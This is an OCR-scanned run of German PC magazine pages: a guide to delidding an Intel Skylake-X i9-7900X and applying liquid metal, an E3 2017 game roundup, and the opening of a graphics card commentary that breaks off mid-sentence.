Feine SMDs um den Chip he- 
rum erhóhen das Risiko beim 
Kópfen enorm. 


Der8auer Delid Die Mate X: So sieht das Werkzeug des deutschen Overclockers zum 


sicheren Entfernen des Heatspreaders aus. 
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eit dem Jahr 2013 werden Intel- 

Desktop-CPUs nicht mehr mit 
Indium verlótet, sondern es befin- 
det sich konventionelle Wärmeleit- 
paste zwischen Heatspreader und 
Die. Ivy Bridge war damit die erste 
CPU-Generation, die enorm vom 
Kópfen profitierte. Durch Tauschen 
der Intel-Wärmeleitpaste gegen 
eine hochwertigeres Produkt oder 
sogar gegen Flüssigmetall konnte 
die Temperatur im Schnitt um etwa 
10 bis 20 °C gesenkt werden. Die 
HEDT-Plattform Ivy Bridge-E war 
dagegen weiterhin verlötet. Dieses 
Schema hat Intel bis zur letzten 
Generation, Broadwell-E, auch so 
beibehalten - Desktop wurde mit 
normaler Wärmeleitpaste ausge- 
stattet, HEDT dagegen verlötet. Mit 
Skylake X ändert Intel dieses Sche- 
ma und verwendet auch auf der 
HEDT-Plattform konventionelle 
Wärmeleitpaste. 


Während die Temperaturen ohne 
Overclocking im grünen Bereich 
bleiben, kommen die Skylake X- 
Prozessoren mit erhöhter Taktrate 
sehr schnell ans Temperaturlimit. 


Der i7-7740K lässt sich ebenfalls köpfen. Anders als bei Skylake X wird keine gesta- 


Die maximale Kerntemperatur 
liegt im Normalfall bei 94 °C. Ab 
dieser Temperatur senkt die CPU 
den Takt und ggf. auch die Kern- 
spannung, um Beschädigungen zu 
vermeiden. Bei einigen Mainboards 
wie z. B. dem Asus Rampage 6 Apex 
kann dieses Temperaturlimit per 
Offset auch auf 105 °C angehoben 
werden. Dies ist aber nur bedingt 
sinnvoll, da die Lebenserwartung 
des Prozessors mit steigender Tem- 
peratur weiter abnimmt. 


Ein von uns getesteter i9-7900X 
erreichte im Test bei 4,5 GHz mit 
1,24 Volt bereits eine Temperatur 
von 92 °C. Die 10-Kern-CPU wur- 
de mit Prime95-AVX getestet und 
durch eine NZXT Kraken X62 ge- 
kühlt. Ohne ein Upgrade der Kühl- 
lösung ist damit das Overclocking- 
Limit der CPU bereits erreicht. 


Die Skylake-X-Prozessoren unter- 
scheiden sich im Aufbau wesent- 
lich von aktuellen Desktop-CPUs. 
Die Basis bildet eine 1,1 mm dicke 
Platine mit 2.066 Pads auf der 


— 


pelte Platine verwendet und der Die ist deutlich kleiner, die Platine ist dafür dicker. 


www.pcgameshardware.de 


Skylake-X Кбрїеп | SPECIAL 


Rückseite. In der rechten oberen 
Ecke der Platine befindet sich 
ein RFID-Chip, der auf den End- 
kunden-Prozessoren allerdings 
deaktiviert ist. Dieser Chip ist ein 
sogenannter PIROM (Processor 
Information ROM) und wird bei 
Xeon-CPUs zur vereinfachten La- 
gerhaltung verwendet. Durch RFID 
können die Produktinformationen 
und weitere Daten wie Seriennum- 
mern ausgelesen werden, ohne 
dass die CPU in Betrieb genommen 
werden muss. Auf der Oberseite 
sitzt eine weitere, 1,1 mm dicke Pla- 
tine. Beide sind durch ein BGA mit- 
einander verbunden und durch ein 
sogenanntes Underfill geschützt. In 
der Mitte befindet sich der Die, der 
von vielen SMDs umgeben ist. Die 
kleinen schwarzen SMDs links und 
rechts des Dies sind mit dem Inte- 
grated-Memory-Controller verbun- 
den. Werden diese SMDs beim Köp- 
fen versehentlich entfernt, werden 
die Arbeitsspeicher-Module nicht 
mehr erkannt. Die Kondensatoren 
über und unter dem Die sind größ- 
tenteils für die integrierten Span- 
nungswandler (FIVR) und sollten 
ebenfalls nicht entfernt werden. 
Der Heatspreader schließt die CPU 
und wird sowohl auf der oberen, 
als auch auf der unteren Platine fest 
verklebt. 


In den Anfängen des Köpfens wur- 
den viele Prozessoren mit Rasier- 
klingen vom Heatspreader befreit. 
Dies ist bei Skylake X Prozessoren 
durch den gestapelten Aufbau 
nicht mehr möglich. Hier muss in 
jedem Fall ein Delid-Tool verwen- 
det werden, da sonst die CPU mög- 
licherweise irreparabel beschädigt 
wird. 


Um den 19-7900Х zu kópfen, ver- 
wenden wir den Der8auer Delid 
Die Mate X. Ähnlich wie bei der 
Desktop-Variante für Sockel 115x 
wird beim Delid Die Mate X der 
Heatspreader durch eine Scherbe- 
wegung entfernt. Der Prozessor 
wird dazu entsprechend einer Mar- 
kierung ausgerichtet und in eine 
gefräste Form gelegt. Anschließend 
wird über eine Schraube und einen 
Hebelmechanismus so lange Druck 
auf den Heatspreader ausgeübt, bis 
sich dieser von der Platine löst. Der 
Heatspreader darf dabei allerdings 
nicht zu weit geschoben werden, 
da sonst der RFID Chip eventuell 
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beschädigt wird. Der Heatspreader 
kann anschließend einfach von der 
Platine abgelöst werden. 


Für die maximale Wärmeübertra- 
gung verwenden wir Flüssigmetall 
zwischen Heatspreader und Chip. 
Hierfür müssen beide Oberflächen 
gründlich gesäubert werden. Wir 
entfernen zunächst die Reste der 
Wärmeleitpaste vorsichtig mit ei- 
nem Tuch von Heatspreader und 
CPU. Danach reinigen wir die 
Oberflächen zusätzlich mit Reini- 
gungsbenzin. Im nächsten Schritt 
entfernen wir alle Klebereste von 
der Unterseite des Heatspreaders 
mit einem Stück Kunststoff, das 
beim Delid Die Mate X mitgelie- 
fert wurde. Anschließend entfer- 
nen wir vorsichtig die Klebereste 
auf der oberen Platine des Prozes- 
sors. Die Klebereste auf der unte- 
ren Platine behalten wir bei. Der 
Heatspreader lässt sich dadurch 
perfekt ausrichten und verrutscht 
nicht beim Schließen des Sockels. 
Abschließend tragen wir Thermal 
Grizzly Conductonaut auf Chip 
und Heatspreader auf, und setzen 
den Heatspreader wieder auf den 
Prozessor. Alternativ kann der 
Heatspreader auch wieder verklebt 
werden. Wir empfehlen hierfür 
eine dünne Schicht handelsübli- 
ches Hochtemperatursilikon. 


Unter den gleichen Bedingungen 
wie beim ersten Test sinkt die CPU- 
Temperatur von maximal 92 °C auf 
maximal 76 °C - ein Gewinn von 
16 °C. Nach weiteren Tests konnten 
wir den i9-7900X letztendlich auf 
4,7 GHz mit 1,28 Volt Prime95-AVX 
stabil übertakten. Die Maximaltem- 
peratur lag dabei bei 89 °C. Insge- 
samt also eine durchaus nennens- 
werte Verbesserung. (rh) 


Skylake X Кбрїеп 

Wie zu erwarten war, senkt Flüssig- 
metall die Temperatur beim Core 
i9-7900X unter Last deutlich. Der 
Aufwand und das damit verbundene 
Risiko sind teilweise hoch, das Re- 
sultat aber ermöglicht einen höheren 
Takt und die niedrigeren Temperaturen 
sollten sich zusätzlich positiv auf die 
Lebensdauer auswirken. 


Der RFID-Chip (im Bild rechts oben) wird auf Xeon-CPUs zur vereinfachten Lagerhal- 
tung verbaut. Bei Skylake X gibt es den Chip ebenfalls, ist aber ohne Funktion. 


Das Endergebnis: Hier sieht man den gesäuberten Prozessor. Die vorhandenen Klebe- 
reste wurden mit einem Kunststoffgegenstand vorsichtig entfernt. 


Die Nachbearbeitung: Hier wurde Flüssigmetall dünn auf den Chip und die Innenseite 
des Heatspreaders aufgetragen. 
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E3: Neue Spiele nonstop 


Bis auf Microsofts 4K-Konsole Xbox One X drehte sich auf der diesjährigen ЕЗ alles um die neuesten 


Spiele. Zahlreiche Konsolentitel machten erstmals den Sprung auf den PC. 


ie 23. E3 ist Geschichte. 

68.400 Besucher haben in- 
zwischen wieder die Heimreise 
angetreten, darunter erstmals 
15.000 Fans, die für 250 US-Dollar 
ein Ticket erstanden hatten. Zeit, 
unsere sechs Tage in Los Angeles, 
an denen wir laut Schrittzähler 
44,4 Kilometer zu Fuß zurückge- 
legt haben, Revue passieren zu las- 
sen - und Ihnen einen Überblick 
über die besten Titel der Messe zu 
geben. Wir beschränken uns dabei 
aus Platzgründen auf die vielver- 
sprechendsten PC-Titel, die wir ent- 
weder selbst spielen konnten oder 
die uns von den Entwicklern vorge- 
spielt wurden. Vorhang auf für die 
schonungslos subjektiv zusammen- 
gestellte Liste, sortiert nach Genre 
und Alphabet. 
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An Spielen, in denen wir mit dem 
Gewehr in die Hand durch mehr 
oder weniger offene Spielwelten 
stürmen, herrschte auch auf dieser 
E3 kein Mangel. 


Schon im Vorfeld der Messe kün- 
digte das kalifornische Studio 
Sledgehammer Games (Advanced 
Warfare) Call of Duty: WWI an. 
Der seit 2008 erste Serienteil, der 
wieder wie die allerersten Episo- 
den im Zweiten Weltkrieg veran- 
kert ist, will mit Realismus statt mit 
Supersoldaten punkten - sofern 
das bei Call of Duty möglich ist. 
Team Deathmatch, Capture the 
Flag und der neue War-Modus, bei 
dem beide Teams mehrere Ziele 
hintereinander absolvieren müs- 


sen, spielten sich jedenfalls präch- 
tig. Die Einzelspielerkampagne soll 
uns von der Landung in der Nor- 
mandie durch Frankreich, Belgien 
und Luxemburg bis nach Deutsch- 
land führen und die Geschichte 
eines Trupps blutjunger Soldaten 
erzählen. 


Weit in die Zukunft geht es stattdes- 
sen mit Destiny 2. Bungies Shooter, 
dessen erster Teil 2014 für Konso- 
len erschien, landet endlich auch 
auf dem PC. Der SF-Actiontitel mit 
starkem Rollenspiel und MMO-Ele- 
menten mixt auf gekonnte Weise 
Einzelspieler-Missionen, PvP und 
das Zusammenspiel wildfremder 
Spieler. Obendrein sieht der Titel 
auch noch extrem gut aus - wir 
konnten die PC-Fassung am Nvidia- 


Stand mit einer GTX 1080 Ti in 
UHD-Auflösung mit 60 Bildern pro 
Sekunde genießen. So schön sah 
lange kein Weltraumspiel mehr aus. 
Wie auch beim Vorgänger pflegt 
Bungie das Spiel mit Updates, neu- 
en Raids und natürlich Waffen. 


Electronic Arts kassierte für Star 
Wars Battlefront Schelte. 
Das gab der Hersteller auf der E3 
selbst zu - und will mit Star Wars 
Battlefront 2 alles besser machen. 
Das Spiel besitzt endlich eine Ein- 
zelspielerkampagne und 
Schauplätze und Helden aus allen 
drei Epochen des Star-Wars-Univer- 
sums. Wo der Vorgänger mit immer 
neuen kostenpflichtigen Add-ons 
die Spielerbasis fragmentierte, gibt 
es jetzt alle zukünftigen Download- 


viel 


neue 
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Inhalte umsonst - einen Season- 
Pass muss keiner mehr kaufen. Wir 
stürmten auf EAs EA-Play-Event 
mit der Droidenarmee und 15 Mit- 
spielern den Palast von Naboo und 
freuten uns über das neue Klas- 
sensystem: Neben dem Äquivalent 
von Assault-, Heavy- und Sniper- 
Kämpfern gibt es den Offizier, der 
seine Teamkameraden mit Buffs 
unterstützt und einen Teil ihrer Sie- 
gespunkte kassiert. 


In einer Parallelwelt spielt schließ- 
lich Wolfenstein 2: The New Colos- 
sus. Was es mit diesem Koloss auf 
sich hat, konnten wir noch nicht 
herausfinden. Unser Spieltermin 
mit dem Shooter, in dem die Nazis 
alias das Regime den Zweiten Welt- 
krieg gewonnen haben, versetzte 
uns in ein U-Boot des Widerstands, 
das von Regimesoldaten gekapert 
wurde. Weil wir gerade erst aus 
dem Koma erwachten, bewegen 
wir uns in einem Rollstuhl durch 
die engen Gänge und müssen Geg- 
ner um Gegner ausschalten. Es gibt 
ein Wiedersehen mit vielen Cha- 
rakteren des ersten Teils, darun- 
ter Anya, die mit B. J.s Zwillingen 
schwanger ist, und Frau Engel, die 
ihrer Tochter Sigrun beibringen 
will, wie sich ein deutscher Offizier 
zu verhalten hat. 


Action-Adventure 

Von hoher See bis nach Mittelerde: 
Action-Adventures decken ein wei- 
tes Spektrum an Szenarien ab. 
Einen äußerst ungewöhnlichen 
wie gegenwartsaktuellen Schau- 
platz wählten die Macher von Far 
Cry 5. Ubisoft Montreal inszeniert 
das Open-World-Abenteuer im US- 
Bundesstaat Montana, wo eine Mi- 
liz, die sich als religiöser Kult tarnt, 
das Heft in die Hand genommen 
hat - und dort mit harter Hand und 
Waffengewalt regiert. Nun liegt es 
an uns, mithilfe der Bewohner des 
Landkreises Hope den Schergen 
des Joseph Seed das Handwerk zu 
legen. Zu Fuß, mit dem Auto und 
dem Sprühflugzeug durften wir das 
bereits am Ubisoft-Stand machen. 
Einmal mehr liegt es am Spieler, ob 
er sein Ziel eher vorsichtig oder mit 
bleispuckenden Waffen erreichen 
will. 


Auf Spielkonsolen und Handhelds 


ist Capcoms Monster-Hunter-Serie 
schon lange ein Hit. Der neues- 
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te Teil namens Monster Hunter 
World soll im kommenden Jahr nun 
auch für den PC erscheinen. Wir 
übernehmen darin die Rolle eines 
Jägers, der auf der Suche nach rie- 
sigen Monstern ist und diese ohne 
größere Blessuren zur Strecke brin- 
gen muss. Das Ökosystem des Spiels 
ist faszinierend: Große und kleine 
Monster gehen ihrem Tagewerk 
nach und lassen sich als unfreiwil- 
lige Helfer bei der Jagd einsetzen - 
etwa, indem wir unser Ziel zu einem 
anderen Monster locken und war- 
ten, bis sich beide müde gekämpft 
haben. Ein Abenteuer nicht nur für 
Freunde japanischen Spieldesigns. 


Im März stellte Monolith Produc- 
tions Mordor: Schatten des Krieges 
im Rahmen der Game Developers 
Conference vor. Das Action-Ad- 
venture spielt nach Mittelerde: 
Mordors Schatten und stellt uns 
vor die Aufgabe, nach Mordor vor- 
zurücken und dort den Schergen 
Saurons Saures zu geben, ihre Fes- 
tungen zu erobern und allerlei op- 
tionale Aufgaben zu erfüllen. Mit 
dem Nemesis-System stellen wir 
einmal mehr ehemalige Gegner in 
unseren Dienst, die uns bei unserer 
Mission unterstützen. Wir probier- 
ten nach einer Quest den Sturm auf 
eine Festung, doch deren Verteidi- 
ger waren eine Spur zu hart. Den- 
noch ein großer Spaß, auf einem 
feuerspeienden Drachen Orks und 
Uruk-hai zu rösten. 


Vor knapp 20 Jahren erschien das 
originale Outcast, ein fantasievol- 
les Action-Adventure aus Belgi- 
en. Designer Yves Grolet war auf 
der E3, um das Remake Outcast: 
Second Contact zu präsentieren. 
Auch wenn das Spiel nicht mehr 
auf Voxelgrafik setzt, so ist die Ge- 
schichte identisch zum Vorgänger. 
Navy SEAL Cutter Slade begleitet 
drei Wissenschaftler auf den Plane- 
ten Adelpha, der sich in einem Pa- 
ralleluniversum befindet. Doch ir- 
gendwas geht schief und nun muss 
Slade herausfinden, wo seine Kolle- 
gen sind, warum die Bewohner des 
Planeten seine Sprache sprechen 
und ihn obendrein als Gott vereh- 
ren. Neben aufgefrischter Grafik 
wurde das Quest-System und Cut- 
ters Tagebuch generalüberholt, um 
die Expedition etwas zugänglicher 
zu machen. Fragezeichen über 
Questgebern gibt es allerdings im- 
mer noch nicht. 


Große Änderungen: Star Wars Battlefront 2 kommt unter anderem mit einer 
Einzelspieler-Kampagne und Gratis-Erweiterungen. 


Konsolen-Update: Neues bei 
Microsoft, Nintendo & Sony 


Sony hatte schon im letzten Jahr eine verkleinerte Playstation 4, die technisch 
aufgebohrte PS4 Pro und das VR-Headset PSVR auf den Markt gebracht. So drehte 
sich dieses Jahr alles um die Spiele. In der Exklusiv-Pipeline: eine Erweiterung zum 
grandiosen Open-World-Abenteuer Horizon: Zero Dawn, Uncharted: Lost Legacy, ein 
neues God of War, Days Gone, Detroit: Become Human, Spider-Man, ein Remake von 
Shadow of the Colossus sowie einige PSVR-Titel. Beim Horrorspiel Hidden Agenda 
bestimmen mehrere Spieler den Verlauf der Geschichte per Smartphone. 


icrosoft stellte die Xbox One X mit 6 TFLOPS Grafikleistung vor — ungefähr die 
Rohleistung einer GTX 1070. Zwar kommt eine GTX 1080 Ti auf 11,3 TFLOPS, kostet 
dafür mehr als die 499 Euro teure Xbox One X und braucht noch CPU, Mainboard, 
RAM und SSD. Für 4K-Gaming im Wohnzimmer ist die Xbox One X durchaus inte- 
ressant. Jetzt müssten nur noch die richtigen Exklusivtitel her. Forza Motorsports 7, 
Sea of Thieves, State of Decay 2 und Crackdown 3 lassen dabei noch Luft nach oben. 
mmerhin zeigte Bioware das spektakuläre Anthem auf der Xbox One X, das an eine 

ischung aus Destiny, Horizon: Zero Dawn und The Division erinnert. 


intendos neues Switch-System ist bereits sehr erfolgreich gestartet. Anders als bei 
der Wii U soll diesmal auch genug Spielefutter folgen. Etwa Super Mario Odyssey — 
für viele das beste Spiel der E3 —, in dem Mario sowohl in 3D als auch 2D unterwegs 
ist. AuBerdem in Planung: Xenoblade Chronicles 2, ein Add-on für The Legend of 
Zelda: Breath of the Wild, Fire Emblem Warrior, Metroid Prime 4 und neue Spiele mit 
Kirby, Yoshi und den Pokémon. Und natürlich die Ubisoft-Koproduktion Mario--Rab- 
bids Kingdom Battle, bei der sich XCOM-Veteranen wie zu Hause fühlen werden. 


Über den Tellerrand geschaut: Mario erledigt Fieslinge in seinem neuesten 
Abenteuer mit seinem Hut. 
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Festungseroberungen. 


Made in Germany: Deutsche 
Entwickler auf der E3 


Auch in diesem Jahr gab es einige deutsche Entwickler, die die Reise in die USA 
angetreten hatten. Sie präsentierten ihre Titel in etwas ruhigeren Gefilden des Los 
Angeles Convention Centers. 


THQ Nordic hatte Piranha Bytes Open-World-Rollenspiel Elex dabei. Im Vergleich 
zum letzten Jahr war das ein Unterschied wie Tag und Nacht. Die Landschaften des 
Planeten Magalan, auf dem ein Meteor das namensgebende Element Elex verteilte, 
sind wunderschön anzusehen — und schon von Beginn an komplett zugänglich. Im 
Laufe des Spiels müssen wir uns für eine Fraktion entscheiden, die uns spielerische 
Boni verschafft. Die Outlaws sind beispielsweise die Einzigen, die Munition herstellen 
können. Zahlreiche Gefährten greifen uns bei Abenteuern unter die Arme. 


Actionlastiger geht es in Hunt: Showdown zu. Der Shooter wurde ursprünglich im 
Crytek-Außenposten Austin entwickelt, doch nach der Schließung des Studios nahm 
sich das Frankfurter Hauptquartier des Titels an. Das Spielprinzip wurde milde verän- 
dert: Jetzt sind fünf Zwei-Mann-Teams in den unwirtlichsten Gebieten der Welt auf 
der Jagd nach Monstern, um deren Schätze einzusammeln. Nervenaufreibend: Jedes 
Team kann die Aktionen der anderen vier hören und sehen — und sie nach getaner 
Arbeit stellen und um ihre Beute erleichtern. 


Das Aufbaustrategiespiel Tropico 6 entsteht ebenfalls in Deutschland: Im Auftrag von 
Kalypso arbeitet Limbic Entertainment an der neuesten Ausgabe. In der kontrollieren 
wir erstmals eine ganze Gruppe von Inseln, bauen Brücken und richten Busver- 
bindungen für unsere Einwohner ein. Außerdem gibt es Beutezüge auf berühmte 
Bauwerke wie die Freiheitsstatue, die von unseren Agenten gekapert und auf die 
Inseln gebracht werden, um für Boni zu sorgen. 


Mit Elex mischen die Rollenspiel-Experten von Piranha Bytes geschickt Science- 
Fiction und Fantasy. 
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Ubisofts Singapur-Studio extrahier- 
te die Seeschlachten aus Assassin's 
Creed: Black Flag und packte sie 
ins Multiplayer-Piratenspiel Skull 
& Bones. In diesem Spiel stechen 
rivalisierende Piratenbanden auf 
unterschiedlichen Schiffen in See, 
um Handelsschiffe zu plündern 
oder gar zu versenken. Alternativ 
lässt man die gegnerischen Piraten 
die Drecksarbeit machen und geht 
dann direkt auf die Konkurrenten 
los, Entern inklusive. Wir segelten 
mit vier Verbündeten gegen fünf 
Piraten aus Asien - einmal gewan- 
nen sie, dann sackten wir die grö- 
ßere Beute ein. Auch einen Einzel- 
spielermodus gibt es, wie Ubisoft 
nach der Messe bekannt gab. 


Adventure 

Klassische Adventures musste man 
in diesem Jahr mit der Lupe su- 
chen. Telltale Games haben zwar 
zahlreiche Serien in der Mache, 
blieben der E3 2017 jedoch fern. 


Ein vielversprechendes Adventure 
gab es aber: Life is Strange: Before 
the Storm vom US-Entwickler Deck 
Nine Games spielt drei Jahre vor 
dem ersten Teil und erzählt ganz 
ohne Zeitreisen die Geschichte von 
Chloe Price. Dabei sollen unsere 
Entscheidungen kurz- und lang- 
fristige Folgen haben. Wir wurden 
Zeuge, wie die sechzehnjährige 
Chloe bei einem Konzert Hasch 
von ihrem Dealer haben wollte. 
Dummerweise stand sie bei ihm 
noch mit knapp 200 Dollar in der 
Kreide. Weil wir uns zuvor den 
Griff in die Kasse eines T-Shirt-Ver- 
käufers verkniffen haben, gibt es 
kein High für die Schülerin. Dabei 
lagen - Spoiler-Alarm! - genau 200 
Dollar in der Kasse. Das drei Episo- 
den umfassende Before the Storm 
ist mehr als nur eine Highschool- 
Simulation, sondern wagt sich auch 
an Themen wie Freundschaft, Loya- 
lität und Liebe. 


Rennspiel 

Asphalt-Jockeys wurden in diesem 
Jahr bestens bedient: Gleich drei 
Rennspiele wetteifern um ihre 
Gunst, decken dabei ganz unter- 
schiedliche Zielgruppen ab. 


Dank Xbox Anywhere kommen 
auch PC-Spieler in den Genuss von 
Forza Motorsport 7. In der Garage 
des zehnten Serienteils stehen über 
700 Autos in über 200 Konfigurati- 


onen, die auf 30 Rennstrecken um 
den Sieg kämpfen. Wir wagten uns 
im brandneuen Porsche 911 GT2 
RS auf den Dubai-Wüstenkurs, be- 
wältigen mit einem Nissan GTR die 
Südschleife des Nürburgrings und 
brummen schließlich mit einem 
Mercedes-Benz Tankpool-Truck 
über den Parcours von Mugello. Mit 
von der Partie: dynamisches Wet- 
ter, das sich noch während eines 
Rennens ändert, UHD-Optik in 60 
Bildern pro Sekunde mit HDR- und 
Image-Based-Lighting-Effekten. 


Weniger simulatorisch ist Need 
for Speed Payback. Der neueste 
Teil der Serie spielte sich wie eine 
Mischung aus Burnout und GTA: 
Wir müssen Gauner von der Stra- 
ße drängen, einen Truck abfangen 
und dann nah genug heranfahren, 
dass eine Mitstreiterin hinüber- 
springen und ein seltenes Vehikel 
aus dessen Anhänger stibitzen 
Anschließend beruhigte 
uns Creative Director William Ho: 
Neben der Offline-Kampagne gibt 
es nach wie vor Straßenrennen, 
Drift-Style-Events und Polizeiverfol- 
gungsjagden mit Hubschraubern 
und Straßensperren. Bergregio- 
nen, Canyons und Innenstädte des 
Spielgebiets Fortune Valley sind so 
groß wie nie zuvor und von Beginn 
an zugänglich. Tag-Nacht-Wechsel 
und die Option, auch unterwegs 
am Auto zu schrauben, sollen für 
Abwechslung sorgen. 


kann. 


Wenn zwei sich streiten, freut sich 
der Dritte. In diesem Fall ist das 
Project Cars 2. Project Director 
Andy Tudo gab insbesondere For- 
za Motorsport 7 Kontra. So hatte 
bereits das erste Project Cars dy- 
namisches Wetter, der zweite Teil 
kommt mit Jahreszeiten, sodass 
sich im Winter auch mal Schnee 
und Eis auf der Fahrbahn befinden 
können. Auf langen Strecken wie 
der Nordschleife des Nürburgrings 
können sogar unterschiedliche 
Wetter- und damit Streckenbedin- 
gungen herrschen. Neben Laser- 
vermessung schicken die Designer 
auch Drohnen für Photogrammet- 
rie-Aufnahmen über Strecken und 
Umgebung; neben Karrieremodus, 
Solo-, Online- und E-Sports-Rennen 
dürfen wir auch als Werksfahrer 
aktiv werden. In Sachen Fahrphy- 
sik macht Project Cars 2 niemand 
etwas vor: Am Ende eines Renn- 
wochenendes befindet sich Rei- 
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Drei E3-Geheimtipps 


Neben den groBen Namen gaben sich auf der E3 2017 auch einige Exoten und 
Geheimtipps ein Stelldichein. Sie können vielleicht nicht mit einem so hohen 
Bekanntheitsgrad wie etwa ein Call of Duty oder ein Assassin's Creed wuchern, sind 
deswegen aber nicht minder interessant. Deswegen sollten Sie diese drei Titel im 
Auge behalten. 


Mount & Blade 2: Bannerlord ist ein sperriger Name für ein Action-Rollenspiel, das 
auf den ersten Blick wirkt, als würde man einen Krieger in Total War steuern. Der 
Titel ist seit fünf Jahren beim türkischen Entwickler TaleWorlds Entertainment in 
Arbeit. Mit Belagerungskämpfen, diplomatischen Verhandlungen zwischen acht 
Fraktionen, komplexen Wirtschaftskreisläufen und dem Herstellen eigener Waffen 
sollen die Schlachten um das vormittelalterliche Calradia lang anhaltenden Spielspaß 
bescheren. Wann? Das ist derzeit noch nicht bekannt. 


Prügelspielspezialist Iron Galaxy arbeitet derzeit am Actiontitel Extinction. Darin 
springen wir als Held Avil wie in Assassin's Creed durch antike Städtchen, die von 
riesigen Monstern bedroht werden, den Ravenii. Wir rennen Gebäudewände hoch, 
schnetzeln uns durch Oger und anderes Gesocks, um es dann schließlich mit ihren 
riesigen Herren aufzunehmen. Die Bosskämpfe erinnern in ihrer Gewaltigkeit an den 
PlayStation2-Titel Shadow of the Colossus. Anfang 2018 sollen wir die Ravenii fällen 
können. 


i No Kuni 2: Revenant Kingdom vom japanischen Studio Level 5 ist der erste Teil 
der Rollenspielserie, die auch für den PC erscheint. Revenant Kingdom sieht nicht 
wie von ungefähr wie ein Anime zum Selberspielen aus: Am ersten wie am zweiten 
eil arbeiteten einige Mitarbeiter des legendären japanischen Animationshauses Stu- 
dio Ghibli mit. Mit einem erwachsenen Helden namens Roland soll eine zu kindliche 
Story vermieden werden. Auch das Kampfsystem spricht erfahrene Rollenspieler an. 

i No Kuni 2 soll noch in diesem Jahr erscheinen. 


Erstmals auch auf dem PC: Das zauberhafte Ni No Kuni 2 sieht aus wie ein 
Anime zum Selberspielen. 


Nach der Pause mit frischem Elan: Assassin's Creed Origins mutiert mit Erfahrungs- 
stufen und Talentbaum zum Rollenspiel. 
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fenabrieb auf der Strecke, was das 
Fahrverhalten beeinflusst. Viele 
Dutzend Stellschrauben sollen eine 
Simulation ermóglichen, die ,Jahre 
vor der Konkurrenz“ fährt. 


Rollenspiel 

Manch einer mag Mordor: Schatten 
des Krieges oder Destiny 2 in die 
Rollenspielecke drängen, doch bei 
dem Duo regiert die Action. Mit Ge- 
spráchen lassen sich weder Sauron 
noch Aliens überzeugen. 


Dafür nehmen wir Assassin's Creed 
Origins in diese Kategorie auf. 
Zwar wird auch im alten Ägyp- 
ten noch immer gesprungen, ge- 
schwommen und gekämpft, was 
das Zeug hält, doch die Entwickler 
von Ubisoft Montreal sind offen- 
kundig Fans von The Witcher 3. 
Zum ersten Mal in der Serienge- 
schichte besitzen Held Bayek und 
seine Gegner Erfahrungsstufen. 
Dazu können wir Waffen, Ausrüs- 
tung und Kostüme in vier Güteklas- 
sen einsammeln und ausrüsten und 
obendrein Bayek mit 51 aktiven 
und passiven Fähigkeiten zu einem 
Nah- beziehungsweise Fernkämp- 
fer oder einem Meister der Manipu- 
lation machen. Statt dem sinnfreien 
Einsammeln versteckter Objekte 
soll es eine Fülle von Haupt- und 
Nebenquests geben, mit unserem 
Adler Senu spähen wir Freund und 
Feind aus der Luft aus - großartig. 


Kingdom Come: Deliverance ent- 
steht auf der anderen Seite des 
Globus: Die Designer der tschechi- 
schen Warhorse Studios sammelten 
per Crowdfunding rund zwei Mil- 
lionen US-Dollar ein, um das Kö- 
nigreich Böhmen des Jahres 1403 
nachzubauen. Dort müssen wir in 
den Wirren eines Thronfolgekrie- 
ges den Mord an unseren Eltern 
rächen. Wie in der Witcher-Serie 
sollen unsere Handlungen Auswir- 
kungen haben, die sich manchmal 
erst viel später materialisieren sol- 
len. Magie hat im betont realisti- 
schen Rollenspiel Pause - wir sind 
entweder als Krieger, Dieb, Barde 
oder als eine Kombination aus die- 
sen Klassen unterwegs. Ein Kampf- 
system, das uns nach ein paar Schlä- 
gen Atem schöpfen lässt, Pfeil und 
Bogen ohne Fadenkreuz, 14 (!) Rüs- 
tungs-Slots, damit etwa eine Plat- 
tenrüstung durch Unterbekleidung 
gepolstert wird, und Würfelspiele, 
für die man in der ganzen Spielwelt 


gezinkte Würfel finden kann - in 
Sachen Ambition erinnern uns die 
Warhorse Studios an einen gewis- 
sen Rollenspielentwickler aus Po- 
len. Kein schlechtes Zeichen. 


Strategiespiel 

PC-Strategen hatten auf dieser E3 
wenig bis nichts zu lachen. 2K 
Games hat mit War of the Chosen 
beispielsweise eine große XCOM- 
Erweiterung für August angekün- 
digt, war aber gar nicht auf der 
Messe vertreten. Microsoft arbeitet 
an einem neuen Age of Empires, 
das jedoch nur ein 4K-Remake des 
ersten Teils wird. 


Zum Glück halten uns die Vete- 
ranen der Creative Assembly die 
Treue. Total War: Warhammer 2 
spielt erneut im Fantasy-Univer- 
sum aus dem Hause Games Work- 
shop. Diesmal besuchen wir die 
Kontinente Ulthuan, Naggaroth, 
die Southlands und Lustria. In der 
Kampagne stehen sich Hochelfen, 
Dunkelelfen, Echsenmenschen und 
eine noch unbekannte vierte Rasse 
gegenüber. Alle sind zum Großen 
Mahlstrom von Ulthuan unterwegs, 
um ihn entweder zu beschützen 
oder zu zerstören. Besitzer des ers- 
ten Teils dürfen ihre Völker von 
dort mit in Mehrspielerschlachten 
führen, per Patch soll eine Kam- 
pagnenkarte nachgereicht werden, 
die beide Teile umspannt. Auf der 
E3 griffen wir mit einer Armee von 
Echsenmenschen einen Posten der 
Hochelfen an. Machten wir sie im 
einfachen Spielmodus noch nie- 
der, war der schwere Modus, was 
sein Name versprach. Die Gegner 
handelten schlauer und rieben uns 
nach längerem Kampf bis zum letz- 


ten Mann auf. (ra) 
Fazit Hardware 
E3 2017 


Viele sehr gute Spiele, kaum echte 
Überraschungen — das war das Motto 
der E3 2017. Fast alle Hersteller gingen 
auf Nummer sicher, nur Ubisoft wagte 
sich aus der Deckung und stellte gleich 
vier brandneue Titel vor, die allerdings 
bis auf Mario+Rabbids — siehe Konso- 
lenkasten — erst im kommenden Jahr 
erscheinen. Doch das ist kein Grund 
zum Meckern: Jeder einzelne Titel auf 
diesen Seiten ist so spannend, dass ich 
ihn auch privat spielen würde — wenn 
ich bloß die Zeit dafür hätte. 


www.pcgameshardware.de 


Stimmt für Eure Lieblings- 
Games ab und sichert 


DER COMPUTEC 
GAMES AWARD 


Die zweite Runde der Abstimmung 
mit der Wahl der Most-Wanted-Spiele 
hat bereits begonnen! 


Grafikkarten 


Grafikkarten, Kühler und 


dware.de/grafikkarte 


Raffael Vötter 
Fachbereich Grafikkarten 
E-Mail: rv@pcgh.de 


Kommentar 


Goldrausch! Und Radeon-Kàufer Кбппеп 
sich selbst auf die Schulter klopfen. 


Wenn das Wort Minenarbeit fällt, denkt man ei- 
gentlich an enge Stollen und schweiBtreibendes 
Graben. Viel zu holen gibt's in den Bergwerken 
nicht mehr — schon gar nicht für die angestell- 
